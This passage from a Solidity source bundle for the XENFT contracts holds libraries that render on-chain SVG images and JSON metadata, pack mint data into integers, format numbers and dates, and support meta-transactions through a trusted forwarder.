0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int 